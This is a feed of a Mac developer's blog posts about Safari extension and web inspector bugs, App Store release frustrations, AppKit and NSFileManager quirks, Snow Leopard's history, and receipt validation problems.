I like the user interface of the Safari web inspector. Indeed, I prefer it to other web browsers. However, the bugs in the Safari web inspector drive me nuts and sometimes make my job almost impossible. I'm talking about serious bugs such as slowdowns, hangs, and crashes. I don't see this happen in other web browsers. I currently have 14 open web inspector bugs—not including feature requests—in the WebKit Bugzilla, and I generally file reports only for reproducible bugs; the randomly encountered bugs are also numerous, but I know they're unlikely to be addressed from my reports. It seems to me that there might be something fundamentally wrong with the Safari web inspector architecture if the user interface frequently becomes unresponsive. Lately a hang in the web inspector has been making it very difficult for me to work on video-related features for StopTheMadness. The worst bug, though, is data loss caused by opening the Safari web inspector. I'm losing all of the LocalStorage and IndexedDB for every website I visit! The result is that I get logged out of some sites, and lose saved settings on other sites. Quite annoying and inconvenient.

Conclusion

There's a lot more that I could say about Safari extensions, but then this blog post would go on forever, to the benefit of no one. Moreover, I tried to stick to "engineering" issues here, avoiding "policy" issues that are somewhat controversial and might require decisions upward in the Apple management chain. I think that everything I mentioned in my list is fairly straightforward and uncontroversial. The only real controversy is whether Apple is willing to devote the time and resources to address these suggestions that would improve extension support in Safari. I hope so!

Feedback Assistant Boycott

]]>
StopTheMadness Pro postmortem: crApp Store still crappy https://lapcatsoftware.com/articles/2023/12/4.html 2023-12-27T15:05:00Z 2023-12-27T15:05:00Z In case you missed the announcement, StopTheMadness Pro is available now! StopTheMadness Pro is a major update and paid upgrade to my Safari extension StopTheMadness.

Last year I blogged about App Store pricing inflexibility. Nothing much has changed since then. Sadly, those issues persist. I decided to bite the bullet for StopTheMadness Pro, combining the iOS App Store and Mac App Store versions into one Universal Purchase for iPhone, iPad, and Mac. Too many consumers are confused when they buy StopTheMadness in one App Store only to discover that they have to buy it again in the other App Store. The price I've set for StopTheMadness Pro is approximately what I would charge for a cross-platform app bundle, which the App Store doesn't support.

Since the App Store doesn't support paid upgrades either, I decided to create app bundles so that previous customers could upgrade for a discount. There's one bundle for the iOS App Store and one bundle for the Mac App Store. Ironically, you can bundle a Universal app with an iOS app in the iOS App Store, and you can bundle a Universal app with a Mac app in the Mac App Store, but you can't bundle an iOS app with a Mac app, which is why I could never offer a bundle for StopTheMadness Mobile and StopTheMadness Mac. Anyway, the price of my app bundles are the same price as StopTheMadness Pro, so previous customers get to discount the price they already paid for StopTheMadness Mac or StopTheMadness Mobile. (The prices have varied over the years.) Unfortunately, the app bundles don't account for the situation where someone has already previously purchased both StopTheMadness in the Mac App Store and StopTheMadness Mobile in the iOS App Store. The best those people can do is choose the cheaper of the two upgrade bundles. There's not much I can do to handle every possible scenario well, given the App Store's pricing inflexibility.

My plan was to release StopTheMadness Pro on Tuesday December 12. The iOS and Mac apps had already been approved by Apple on Friday December 8, less than 24 hours after submission to App Store Connect. I would have preferred to release on Monday December 11, but I wanted my own news cycle, and I had anticipated that iOS 17.2 and macOS 14.2 would be released on Monday. The .N releases are almost always Monday in recent years, and that continued to be true on December 11, proving my guess to be correct!

On the morning of Tuesday December 12 at 5:30am my time, I released StopTheMadness Pro. After checking all of the downloads to ensure that everything was working as expected, I created two app bundles and submitted them for review before 7am. The reason I waited until Tuesday to create the upgrade app bundles is that App Store Connect doesn't allow you to create an app bundle for an app that hasn't yet been published to the App Store, not even if the app is Pending Developer Release (the status of StopTheMadness Pro since Friday).

When I say you can't create an app bundle, I mean that strictly: there's literally nothing you can do. You can't start working on the app bundle, and thus you can't submit the app bundle to Apple for review. In fact, I had forgotten that app bundles need to be reviewed by Apple, because I hadn't created one in years. I don't really understand why Apple needs to review app bundles, because the apps themselves have already been approved by Apple, and the bundle just offers a price discount on the apps. After all, you can change the individual prices on any of your apps at any time without review.

I hadn't requested an expedited review since 2021, so I decided to request one for my app bundles. Unfortunately, it turns out that you can't request an expedited review for an app bundle. The list of app names doesn't include the app bundles, and if you try to manually enter the app bundle name, the form doesn't accept it.

Enter the name of the app you would like to receive an expedited review below. Make sure you've submitted for review before requesting an expedite. App Name: Homecoming for Mastodon, StopTheFonts, StopTheMadness Pro

To make a long story short, my app bundles finally went into review at 9am on Thursday December 14 and were approved 8 minutes later. Between Tuesday morning and Thursday morning, I emailed Apple Developer Support once and called them on the phone twice. I emailed Trystan Kosmynka, Apple's senior director of App Review, who had contacted me last year about a different issue and told me at the time, "If there is any hang up in the future do not hesitate to file an expedite request", so I thought it was worth discussing the impossibility of expediting an app bundle review. As a last resort, I also emailed Tim Cook. I don't know whether Kosmynka or Cook (or one of Cook's assistants) ever saw my email, as there was no reply. Incidentally, on Wednesday December 13, while I was still waiting for the app bundles to be reviewed, I submitted updates to the StopTheMadness Pro iOS and Mac apps, both of which were reviewed and approved within 6 hours—ahead of my app bundles, even though Apple Developer Support told me over the phone that they granted my expedited review request for the app bundles.

During those two days when StopTheMadness Pro was live in the App Store but the upgrade bundles were not, customers were already starting to notice StopTheMadness Pro, despite the fact that I hadn't announced it yet. And those customers were very confused, because the approved App Store description of the app mentioned the upgrade bundles, yet the bundles were nowhere to be found in the App Store. People were contacting me via email and other methods to ask about it. The whole situation was a mess. The only thing I'm thankful for is that word about the existence of StopTheMadness Pro didn't spread further and go public before the upgrade bundles were ready, because that would have been a complete disaster.

On Thursday, with the bundles finally approved, I announced StopTheMadness Pro to the public. Announcing earlier wouldn't have made sense, because previous customers wouldn't yet have a path to upgrade from StopTheMadness to StopTheMadness Pro. You have only one chance to make a big splash with your announcement, and announcing without the upgrade bundles would have been a belly flop. Luckily, StopTheMadness Pro did get a few mentions in the media, and sales were good. However, I still really wish I had been able to announce on Tuesday, and I worry that the release lost momentum and publicity when the weekend hit. I didn't receive any more mentions in the media afterward. If I had known the app bundle reviews would take so long, I would have released the apps themselves earlier.

As far as purchases are concerned, the upgrade bundles have not gone as smoothly as I would have liked. My customers generally appreciate the existence of the bundles, but a number of them have contacted me, and continue to contact me, with technical issues regarding the bundle purchases. For example, the full price is shown rather than the upgrade price. The app is not available for download after the bundle is purchased. The App Store gives an error, "This item is temporarily unavailable." One customer's Apple ID was even banned after attempting to purchase the bundle! Fortunately, the customer was able to get their Apple ID un-banned later after talking to Apple, though Apple has refused to say why the account was banned in the first place.

Of course, there's absolutely nothing I can do for any of these customers. App Store developers have no access to or power over App Store purchases or downloads. Apple's monopolistic control over the App Store is supposedly for the "protection" of customers, but the customers are contacting me rather than Apple. They blame me rather than Apple, even though it's entirely Apple's fault. App Store developers have so little control over the App Store that we can't even provide refunds to customers. Everything has to go through Apple. Hence I sigh and send these people to Apple Support, which is all I can do, knowing that Apple Support itself is often clueless and incompetent. More than one customer has related to me what Apple Support told them: the (incorrect) price of the bundle shown in the App Store is the developer's (my) fault. It's painfully obvious that the Apple Support representatives themselves are confused in these cases, but who are customers going to believe, a nobody like me, or an "Apple Senior Advisor"? It's frustrating, because I've been a professional Apple developer for 17 years, so my "seniority" likely exceeds theirs by more than a decade, at least.

For all the money that Apple has made from the App Store over the years, I haven't seen a corresponding investment on either the technical side or on the customer service side. The crApp Store is still crappy for both developers and customers, and this situation serves no one, except perhaps AAPL stockholders looking for the company to minimize costs and maximize profits, reputation and goodwill be damned.

Feedback Assistant Boycott

]]>
iOS 17 App Store screenshots caveat https://lapcatsoftware.com/articles/2023/12/3.html 2023-12-22T17:10:00Z 2023-12-22T17:10:00Z The App Store has strict screenshot requirements. Your app screenshots must conform to specific device screen sizes. For iPhone, those sizes are a 5.5-inch display and either a 6.5-inch or 6.7-inch display.

App Store Connect iOS Previews and Screenshots

I don't know why the screenshot requirements are so strict, because most App Store developers completely ignore the specific screen sizes anyway and turn the so-called "screenshots" into promotional tiles. For example, here's the App Store listing for a recent Apple-selected "app of the day", the New York Times Cooking app.

NYT Cooking app Preview

This ubiquitous marketing technique makes a mockery of the screen size requirements, but Apple doesn't seem to care.

I'm one of the few developers who actually follows the screen size requirements, though not because I care about Apple's rules but rather because I have no design skills, so taking screenshots is easier for me than creating promo tiles. My new app StopTheMadness Pro requires iOS 17, which supports fewer iPhone models than iOS 16. Specifically, iOS 17 dropped support for iPhone 8 and iPhone 8 Plus. Curiously, that means iOS 17 doesn't support any devices with a 5.5-inch display, yet App Store Connect still requires 5.5-inch screenshots, a dilemma for App Store developers.

5.5-inch Display

My "clever" workaround for this problem was to create one dummy screenshot with an old iOS 16 Xcode simulator and use that one screenshot to satisfy App Store Connect's requirements. The minimum requirement is only one screenshot.

I discovered too late, however, that I wasn't as clever as I thought I was. Although iOS 17 doesn't support any devices with a 5.5-inch display, it does support a couple of devices with a 4.7-inch display: the 2nd and 3rd generation iPhone SE.

4.7-inch Display

Thus, my one screenshot was displayed in the App Store on the iPhone SE, and I couldn't change the app screenshots until I released a new version of my app.

The 4.7-inch display option isn't listed in the main App Store Connect page, which is part of the reason that developers are confused about the screenshot requirements. You have to go into the Media Manager to upload screenshot sizes other than the required sizes. I would recommend including specific 4.7-inch screenshots with your app submission, and that's what I ended up doing. The iOS 17 simulator has support for iPhone SE models, and the App Store uses your 4.7-inch screenshots on the iPhone SE, so you can still use a dummy screenshot for the 5.5-inch requirement.

Don't even get me started on the Mac App Store screenshot requirements. I purchased a new M1 MacBook Pro (with a notch) last year, but its screen size is not supported in App Store screenshots! Sigh.

Feedback Assistant Boycott

]]>
iOS 17.2 shows the wrong Safari extension icons https://lapcatsoftware.com/articles/2023/12/2.html 2023-12-12T03:10:00Z 2023-12-12T03:10:00Z Apple released iOS 17.2 today, and I've noticed that it has started to show the wrong Safari extension icons in some places for some extensions. The same happens on iPadOS 17.2.

By design, each Safari extension has two icons: (1) an app icon, in full color; (2) a Safari toolbar icon, black and transparent template. Below are the app icons in Safari Extensions Settings, the same as before iOS 17.2.

Safari Extensions

And here are the Safari toolbar icons, also the same as before.

Safari address bar popup

For some bizarre reason, iOS 17.2 has started to substitute the toolbar icon for the app icon in some cases, for example in the Safari Manage Extensions popup.

iOS 17.2 Manage Extensions

It looks even worse in dark mode! The StopTheMadness and StopTheScript template icons almost disappear against the dark background.

iOS 17.2 ManageExtensions in dark mode

Also bizarrely, Homecoming for Mastodon, which is also a Safari extension, still has its app icon. (StopTheFonts is a Safari content blocker rather than a Safari extension, so it doesn't have a second, toolbar template icon.) I couldn't find an older screenshot of the full Manage Extensions popup, but here's an older screenshot of Tweaks for Twitter that has its app icon rather than toolbar icon.

older ManageExtensions

iOS 17.2 also shows the toolbar icons in the Settings for some individual Safari extensions. Here are before-and-after screenshots for StopTheMadness and StopTheScript.

older StopTheMadness icon

iOS 17.2 StopTheMadness icon

older StopTheScript icon

iOS 17.2 StopTheScript icon

Yet Homecoming for Mastodon still has its app icon in Settings on iOS 17.2.

Homecoming for Mastodon icon

I have no idea why this strange behavior has started to occur, or why it only affects some Safari extensions.

Since I'm participating in the boycott of Apple's Feedback Assistant, this blog post will be my bug report.

Feedback Assistant Boycott

]]>
macOS Sonoma increases NSControl font size https://lapcatsoftware.com/articles/2023/12/1.html 2023-12-08T14:50:00Z 2023-12-08T14:50:00Z If you compile an AppKit app with the macOS 14 SDK in Xcode 15, the default font size of several NSControl subclasses increases from 12 to 13 when the app runs on macOS 14 Sonoma. I discovered this the hard way yesterday when I noticed that my box—an NSBox, that is—was no longer big enough for my controls.

I haven't done an exhaustive review of NSControl subclasses, but I've confirmed that the change affects NSButtonTypeMomentaryLight, NSButtonTypeRadio, NSButtonTypeSwitch, and NSTextField. Unaffected is NSPopUpButton, which already had and continues to have a font size of 13.

I should offer the qualification that my testing was done with controls created programmatically. I'm not sure what happens to controls inside nibs/xibs/storyboards, since I'm (in)famous for working without a nib.

The font size increase on Sonoma is somewhat baffling and also completely undocumented as far as I know. There's not a peep about it in the AppKit Release Notes for macOS 14, the macOS Sonoma 14 Release Notes, or the What’s new in AppKit video from WWDC 2023.

Needless to say, I won't be filing a Feedback…

Feedback Assistant Boycott

]]>
Disabled Safari extensions are not fully disabled, and other problems https://lapcatsoftware.com/articles/2023/11/7.html 2023-11-30T14:55:00Z 2023-11-30T14:55:00Z What happens when you update a Safari extension in the App Store while Safari is open?

If it's a Safari app extension, such as my own StopTheMadness, you see this:

Close Safari to Update

In contrast, a Safari web extension, such as my own Homecoming for Mastodon, can be updated while Safari is open. I have a theory about why, which I'll discuss later in this blog post. (I delineated Safari app extensions and Safari web extensions in another blog post. TL;DR Safari app extensions are exclusive to Safari for Mac, whereas Safari web extensions are cross-platform, supporting both Mac and iOS, and maintaining API compatibility with Chrome and Firefox extensions.)

Needless to say, it can be annoying to be forced to quit Safari in order to update a Safari extension in the App Store. A few days ago, Nick Heer of Pixel Envy emailed me with a clever workaround: Nick discovered that if you disable a Safari app extension in Safari Extensions Settings, you can then update the extension in the App Store without quitting Safari!

Safari Extensions Settings pane

Nick asked me if there were any downsides to this solution. My attempt to answer Nick's question sent me down a rabbit hole that ultimately led to a blog post, the natural end to many of my rabbit holes. What I learned during my deep digging was… disturbing.

A web page is basically a collection of files, mainly HTML, JavaScript, and CSS files. Web browser extensions, including Safari extensions, can inject their own files into web pages. JavaScript files injected from extensions are called content scripts, and CSS files injected from extensions are called style sheets. StopTheMadness injects a content script and a style sheet into web pages. When you disable StopTheMadness in Safari Extension Settings, Safari disables the injected style sheet in open web pages. However, it turns out that Safari does not disable the injected content script. Thus, the toggle in Safari Extension Settings is a bit misleading. Even when disabled, a part of StopTheMadness remains in open Safari tabs—indeed, remains functional or at least semi-functional—until the tab is closed or reloaded.

The good news is that when you navigate to a new page in a Safari tab after disabling the extension, its content script won't get injected into the new page. The bad news is that if you navigate back to the old page with Safari's back button, the disabled extension's injected content script remains in the cache of the old page.

Following Nick Heer's workaround, when you subsequently reenable StopTheMadness after updating to the latest version in the App Store while Safari is still open, Safari injects the updated extension's content script and style sheet into open web pages that the extension has permission to access, which is typically all of them, including the pages with leftover content scripts from the previous version of the extension. Consequently, an App Store update can leave you with two different versions of the extension's content script running simultaneously in the same web pages! This is a very undesirable situation, because the two competing scripts could conflict in unpredictable ways. You've suddenly gone from stopping the madness to starting the madness. In hindsight, therefore, quitting Safari in order to update extensions seems like a good idea, and that's what I recommend to avoid potential issues and weird behavior.

You may be wondering, since the App Store allows you to update Safari web extensions without quitting Safari, how do they avoid the issues faced by StopTheMadness and other Safari app extensions? The answer, surprisingly, is that they don't! In my testing, after you update a Safari web extension while Safari is running, open web pages will contain duplicate content scripts, injected from the old and the new version of the extension. In this respect, there's no difference between Safari web extensions and Safari app extensions. The same problem exists, regardless of the extension type.

I said at the beginning of the blog post that I have a theory about why the App Store has different update requirements for Safari app extensions and Safari web extensions. I can now state my theory: the reason has nothing to do with injected content scripts and everything to do with extension processes. Safari creates a separate process for each extension, which you can see in the Activity Monitor app.

Activity Monitor Process Name StopTheMadness (Safari)

For Safari app extensions, the lifetime of the extension process appears to match the lifetime of Safari itself. (The extension process uses 0% CPU while the extension is inactive, so there's no need to worry about resource consumption.)

For Safari web extensions, the lifetime of the extension process depends on the extension's background script. Safari supports both persistent and non-persistent background scripts on macOS but only non-persistent background scripts on iOS. The extension process of a Safari web extension with a persistent background script runs as long as Safari does, just like a Safari app extension. On the other hand, the extension process of a Safari web extension with a non-persistent background script (or no background script) is created and destroyed on demand. Homecoming for Mastodon has a non-persistent background script.

Activity Monitor Process Name Homecoming for Mastodon (Personal) Safari Web Extension

As an experiment, I force quit the StopTheMadness extension process in Activity Monitor while the extension was still enabled, and I discovered that the App Store suddenly allowed me to update StopTheMadness without quitting Safari! Coincidentally, disabling StopTheMadness in Safari Extensions Settings also makes the StopTheMadness extension process quit, which may explain why Nick Heer's trick works.

Moreover, whenever I tried to update Homecoming for Mastodon in the App Store while its extension process was running, the extension process always quit on its own, without my intervention, thereby allowing me to update successfully. Safari can terminate the extension process when necessary, because the extension has a non-persistent background script.

An aside on my testing method: every time I release an update in the App Store, I compress the updated app into a zip file with Finder and add the app's version number to the file name, for the purpose of archiving. Then if I ever need to test an older version of the app, I just unzip it. My app archive is perfect for testing App Store updates, since I can easily revert to an older version and update to the latest version as many times as I want. Of course, this method only works on the Mac, as Apple in its infinite looping wisdom has forbidden users from directly accessing the iOS file system. Nonetheless, I strongly suspect that the conclusions of this blog post apply also to extensions in Mobile Safari. There's already known to be a lot of overlap between Mac Safari and Mobile Safari.

I don't develop a Safari web extension in the App Store with a persistent background script, so unfortunately I was unable to test that particular scenario. I'm very curious whether a persistent background script would prevent the App Store from updating the extension while Safari is open. If so, that would provide further confirmation of my theory.

I've commingled the issues of App Store extension updates and extension content script duplicates in this blog post, but the conclusion of my investigation seems to be that they're actually separate issues. After all, you can disable and reenable an extension in Safari without updating it, and you'll still see the issue of duplicated injected content scripts. Although two scripts would be identical in this case, because they're both from the same extension version, they can still conflict with each other or cause other unexpected problems, because the extension was not designed to have duplicate content scripts running simultaneously in the same web page frame.

How does Safari's behavior compare to other web browsers? To summarize, Safari (1) does inject the extension's content scripts into open web pages when enabling the extension, (2) does not disable the extension's content scripts when disabling the extension, and (3) does include the disabled extension's content scripts in the page cache.

In my testing, Chrome (1) does not inject the extension's content scripts into open web pages when enabling the extension, (2) does not disable the extension's content scripts when disabling the extension, and (3) does not include the disabled extension's content scripts in the page cache. Firefox (1) does inject the extension's content scripts into open web pages when enabling the extension, (2) does disable the extension's content scripts when disabling the extension, and (3) does not include the disabled extension's content scripts in the page cache (because of 1).

Like Safari extensions, disabled Chrome extensions are not fully disabled. Safari and Chrome suffer that same problem. However, Chrome doesn't suffer the problem of duplicated content scripts in the same web page, because it doesn't inject a new content script into a page that already has an old injected script. Firefox, to its credit, doesn't suffer either problem. Safari is the only browser with the duplicated content script problem.

By the way, if longtime readers get a vaguely familiar feeling from this blog post, that's because I wrote a couple of vaguely similar blog posts several years ago. Back then, Safari was launching the aforementioned app extension process even when the extension was disabled. Apple Product Security initially dismissed my report, but Apple later fixed the issue and credited me. At the end of that episode I said, "A disabled Safari app extension is now truly disabled in every way." Clearly, that statement did not age well!

Feedback Assistant Boycott

]]>
NSFileManager error messages lie https://lapcatsoftware.com/articles/2023/11/6.html 2023-11-29T15:25:00Z 2023-11-29T15:25:00Z I wasted at least an hour debugging what I incorrectly assumed was a Mac app sandboxing issue, because I believed what the NSFileManager error told me. Below is the source code of a command-line tool to demonstrate the issue.

#import <Foundation/Foundation.h>

#define SourcePath @"/Library/Receipts/InstallHistory.plist"
#define DestinationPath @"/Users/Shared/nonexistent/foobar.plist"

int main(int argc, const char * argv[]) {
  @autoreleasepool {
    BOOL exists = [[NSFileManager defaultManager] fileExistsAtPath:SourcePath];
    NSLog(@"exists? %i", exists);
    NSError *error = nil;
    if ([[NSFileManager defaultManager] copyItemAtPath:SourcePath toPath:DestinationPath error:&error]) {
      NSLog(@"copied");
    } else {
      NSLog(@"%@\n\n%@", [error localizedDescription], error);
    }
  }
  return 0;
}

Here's the output from running the command-line tool:

exists? 1
The file “InstallHistory.plist” doesn’t exist.

Error Domain=NSCocoaErrorDomain Code=4 "The file “InstallHistory.plist” doesn’t exist." UserInfo={NSSourceFilePathErrorKey=/Library/Receipts/InstallHistory.plist, NSUserStringVariant=( Copy ), NSDestinationFilePath=/Users/Shared/nonexistent/foobar.plist, NSFilePath=/Library/Receipts/InstallHistory.plist, NSUnderlyingError=0x600000c00c00 {Error Domain=NSPOSIXErrorDomain Code=2 "No such file or directory"}}

The error says that the source file InstallHistory.plist doesn't exist, but the file does exist! The true reason for the copy failure is that the destination directory /Users/Shared/nonexistent/ doesn't exist. Sigh.

I tested my command-line tool all the way back to macOS 10.13 High Sierra, and the behavior is the same! This is an old bug in NSFileManager. And note that the bug is not restricted to path-based API: it also affects NSFileManager URL-based API.

Hopefully this blog post helps someone in the future. I'm not going to file a bug report with Apple, though, because I'm boycotting Feedback Assistant.

Feedback Assistant Boycott

]]>
The myth and reality of Mac OS X Snow Leopard https://lapcatsoftware.com/articles/2023/11/5.html 2023-11-13T14:25:00Z 2023-11-13T14:25:00Z The myth of Snow Leopard was started by Senior Vice President of Software Engineering Bertrand Serlet at WWDC 2009.

0 New Features

This famous keynote slide was, to put it euphemistically, a bit of product marketing. Non-euphemistically, it was a big lie. Snow Leopard had quite a few new features, including significant changes "under the hood", so to speak. In fairness, though, 10.6 was a smaller update than 10.5, 10.4, 10.3, or 10.2, and its price reflected its modest ambition: $29, compared to $129 for its predecessors. (Remember when major Mac updates cost money?)

Since 2009, the myth of Snow Leopard has only grown. As memories (and accuracy) fade, Snow Leopard has come to be known as a "bug fix update". If it had 0 new features, then it must have consisted entirely of bug fixes and performance improvements, right? Mac OS X 10.6.0 was solid as a rock, remember?

Well, let's look at the release notes for the 10.6.1 update:

  • compatibility with some Sierra Wireless 3G modems
  • an issue that might cause DVD playback to stop unexpectedly
  • some printer compatibility drivers not appearing properly in the add printer browser
  • an issue that might make it difficult to remove an item from the Dock
  • instances where automatic account setup in Mail might not work
  • an issue where pressing cmd-opt-t in Mail brings up the special characters menu instead of moving a message
  • Motion 4 becoming unresponsive

It looks like the so-called "bug fix update" itself needed a number of bug fixes. How about the 10.6.2 update?

  • an issue that might cause your system to logout unexpectedly
  • a graphics distortion in Safari Top Sites
  • Spotlight search results not showing Exchange contacts
  • a problem that prevented authenticating as an administrative user
  • issues when using NTFS and WebDAV file servers
  • the reliability of menu extras
  • an issue with the 4-finger swipe gesture
  • an issue that causes Mail to quit unexpectedly when setting up an Exchange server
  • Address Book becoming unresponsive when editing
  • a problem adding images to contacts in Address Book
  • an issue that prevented opening files downloaded from the Internet
  • Safari plug-in reliability
  • general reliability improvements for iWork, iLife, Aperture, Final Cut Studio, MobileMe, and iDisk
  • an issue that caused data to be deleted when using a guest account

Wow, that's a lot of bug fixes! They saved the best release note for last: "an issue that caused data to be deleted when using a guest account". This data loss bug was infamous at the time.

We're not done. Here's 10.6.3:

  • improve the reliability and compatibility of QuickTime X
  • address compatibility issues with OpenGL-based applications
  • address an issue that causes background message colors to display incorrectly in Mail
  • resolve an issue that prevented files with the # or & characters in their names from opening in Rosetta applications
  • resolve an issue that prevented files from copying to Windows file servers
  • improve performance of Logic Pro 9 and Main Stage 2 when running in 64-bit mode
  • improve sleep and wake reliability when using Bonjour wake on demand
  • address a color issue in iMovie with HD content
  • improve printing reliability
  • resolve issues with recurring events in iCal when connected to an Exchange server
  • improve the reliability of 3rd party USB input devices
  • fix glowing, stuck, or dark pixels when viewing video from the iMac (Late 2009) built-in iSight camera

And 10.6.4:

  • resolve an issue that causes the keyboard or trackpad to become unresponsive
  • resolve an issue that may prevent some Adobe Creative Suite 3 applications from opening
  • address issues copying, renaming, or deleting files on SMB file servers
  • improve reliability of VPN connections
  • resolve a playback issue in DVD Player when using Good Quality deinterlacing
  • resolve an issue editing photos with iPhoto or Aperture in full screen view
  • improve compatibility with some braille displays

Hopefully you're starting to get my point. Snow Leopard was not a bug fix release. In fact, Snow Leopard was quite buggy, and Mac OS X 10.6.0 was certainly much buggier than Mac OS X 10.5.8, released a few weeks prior. So why do countless people still look back fondly at Snow Leopard as a high point in Apple software quality? Are they totally wrong about that?

No, it's not totally wrong to consider Snow Leopard a high point, but people are often wrong about the timing of it and the reasons behind it, which had nothing to do with "0 new features". When you look back fondly at Snow Leopard, I suspect that you're not remembering version 10.6.0 but rather version 10.6.8 v1.1, which was released almost two years after 10.6.0.

It's an iron law of software development that major updates always introduce more bugs than they fix. Mac OS X 10.6.0 was no exception, of course. The next major update, Mac OS X 10.7.0, was no exception either, and it was much buggier than 10.6.8 v1.1, even though both versions were released in the same week.

Let's look back at the history of major Mac operating system updates in the 21st century. This data was drawn from the wonderful resource A full history of macOS (OS X) release dates and rates compiled by Rob Griffiths of Mac OS X Hints and Many Tricks fame, who coincidentally wrote the previously linked Macworld article about the Snow Leopard data loss bug.

VersionNameRelease dateMonths since previous .0
10.1.0PumaSeptember 25, 20016
10.2.0JaguarAugust 23, 200211
10.3.0PantherOctober 24, 200314
10.4.0TigerApril 29, 200518
10.5.0LeopardOctober 26, 200730 (delayed due to iPhone)
10.6.0Snow LeopardAugust 28, 200922
10.7.0LionJuly 19, 201123
10.8.0Mountain LionJuly 25, 201212
10.9.0MavericksOctober 22, 201315
10.10.0YosemiteOctober 16, 201412
10.11.0El CapitanSeptember 30, 201511
10.12.0SierraSeptember 20, 201612
10.13.0High SierraSeptember 25, 201712
10.14.0MojaveSeptember 24, 201812
10.15.0CatalinaOctober 7, 201912
11.0Big SurNovember 12, 202013 (delayed due to pandemic)
12.0MontereyOctober 18, 202111
13.0VenturaOctober 24, 202212
14.0SonomaSeptember 26, 202311

Note that Steve Jobs resigned as CEO of Apple on August 24, 2011, a month after the release of Mac OS X 10.7 Lion. When you compare the release dates under Steve Jobs and under Tim Cook, the stark difference is startling. Cook clearly initiated a yearly Mac update schedule to mirror the iOS release schedule.

Until 2012, Mac OS X updates followed what I consider to be a natural, logical progression. A fundamental software development principle is that immature software is easier to improve, because there's a lot of low-hanging fruit—glaring bugs and missing features—whereas mature software is harder to improve and easier to accidentally break. That's why major updates should come more slowly as the software matures, and that's exactly what happened with Mac OS X until Mountain Lion.

Back to Snow Leopard: according to the table above, there were 23 months between Mac OS X 10.6.0 and 10.7.0. That's 23 months of bug fix updates to Snow Leopard and 23 months without a major new Mac OS X update. No wonder people look back fondly! Especially in late 2010 and early 2011, it was an era of relative stability.

Unfortunately, the periods of Mac stability came to an end with the era of Tim Cook. My firm conviction is that software quality is impossible to maintain with annual major updates. There's just not enough time between major updates to work on the minor bug fix updates that give rise to quality, indeed are essential to quality. Once Apple engineers are "finished" releasing a major update, they have to turn around immediately and work on the next major update. After all, WWDC in June every year is only eight months later. Tim Cook's schedule is relentless.

Software quality is a marathon, not a sprint. It's the result of many minor bug fix updates over time with no major updates to introduce new bugs. There was a significant difference between the initial quality and final quality of Snow Leopard. That's why spending a week on bug fixes is nothing but a drop in the bucket. Apple has accumulated more than ten years of technical debt, never giving itself enough time to pay down that debt.

When people wistfully proclaim that they wish for the next major macOS version to be a "Snow Leopard update", they're wishing for the wrong thing. No major update will solve Apple's quality issues. Major updates are the cause of quality issues. The solution would be a long string of minor bug fix updates. What people should be wishing for are the two years of stability and bug fixes that occurred after the release of Snow Leopard. But I fear we'll never see that again with Tim Cook in charge.

In judging the quality of a major software update, there's a tendency to focus narrowly on the new bugs introduced by the update. (There are always new bugs introduced.) But that's far from the whole story. A major update doesn't simply start from scratch, a tabula rasa. Besides adding new bugs, major updates also carry over old unfixed bugs from previous versions of the software. And this has a cumulative effect. If each new major update introduces new bugs, and some of those bugs remain unfixed before the next major update is released, then over the course of multiple major updates you have bugs continuing to pile on top of each other, forming an ugly garbage heap. When people look back fondly at Snow Leopard, part of their impression is formed by the 23 months of bug fix updates that occurred after its release, and another part of their impression is formed by the history of Mac OS X before its release. In 2009, Apple had not accumulated the level of technical debt that exists in 2023. Between August 2002 (10.2.0) and July 2011 (10.7.0), a span of about 9 years, there were 5 new major Mac OS X updates. Whereas between October 2014 (10.12.0) and September 2023 (14.0), also a span of about 9 years, there were 9 new major macOS updates. That's 4 additional major updates in the last 9 years compared to the earlier historical period, and each major update brings a bundle of new bugs. This is why I said that software quality is impossible to maintain with annual major updates. One reason we love Snow Leopard now is that the baseline level of bugs in that era was lower, due to the equally relaxed schedules of the predecessors Tiger and Leopard.

If (for some strange reason) you want to mount a defense of Tim Cook, you might argue that Jobs was the one who was responsible for prescribing the annual release schedule, on the iOS side. And that's correct! However, I would argue that there are two mitigating factors. First, iOS was still a fairly immature platform under Jobs, thus necessitating more frequent major updates. Jobs resigned as Apple CEO only four years after the introduction of iPhone. We could say, comparing to the Mac, that iPhone was just starting its "Tiger" phase. Moreover, iOS software updates were tied to iPhone hardware updates in a way that Mac updates never were. Even the transition from PowerPC to Intel processors did not require a major Mac OS X update. The first version to support Intel Macs was 10.4.4, an otherwise minor bug fix update. At this point, sixteen years after the introduction of iPhone, it's unclear why iPhone still needs major iOS updates to go along with its hardware updates. Previous generation iPhone models get the latest iOS update too, so it doesn't seem to be much of a selling point.

My impression is that there's no reason now for Apple's major OS update schedule other than Tim Cook's preference for the schedule. He appears to love schedules! Or perhaps there's also an element of trepidation. Apple created the expectation of annual updates, and Apple has become the victim of its own expectations. Cook may fear that if Apple slows down the updates, the press—or worse, the AAPL stockholders—will skewer him for failing to "innovate". But I admit that this is purely armchair psychology. Regardless of the motivation, the annual updates are more of a burden than a blessing to many Apple customers, including myself. I wish that Apple would drop the artificial schedule and let the major updates come more naturally. This isn't just the attitude of a developer and so-called "power user". Many "normal" users", the proverbial moms, feel the same way. Actually, my literal mom told me she doesn't like the ceaseless annual major updates either. She's learned from hard experience that they're not necessarily safe to install. Major updates can be very disruptive, creating new problems and wrecking old workflows. The press is always excited by major updates, because they give the press a lot to write about, but the public is not as sanguine. We occasionally need a break of 23 months, or more, from computing disruption. That would be another Snow Leopard.

Feedback Assistant Boycott

]]>
Mac App Store receipt validation revisited https://lapcatsoftware.com/articles/2023/11/4.html 2023-11-08T16:10:00Z 2023-11-08T16:10:00Z Michael Tsai's encyclopedic blog has discussed issues with Mac App Store receipt validation in 2019 and again in 2022. In summary, Apple's old sample code for developers was broken, some developers tried to fix it, and Apple later posted new sample code (at the same URL). However, I've recently run into a case that seems to call into question all extant sample code for Mac App Store receipt validation. Someone purchased my app Link Unshortener but was unable to launch it. The customer also mentioned being unable to launch another developer's Mac App Store app, Magnet. This suggested a problem with receipt validation. I learned that the ethernet port of the customer's Mac was fried as a result of electrical damage from a lightning strike. The Mac's motherboard was replaced, but afterward the customer still couldn't launch Magnet, and now they couldn't launch Link Unshortener either. It turns out that the Mac's ethernet port is now en11 rather than en0. Apple's old sample code checked only en0, and Apple's new sample code checks only en0 and en1, so that technique won't work. And the technique suggested by Chris Liscio won't work, because querying for kIOPrimaryInterface returned no results! The customer's Mac reported having no primary ethernet interface.

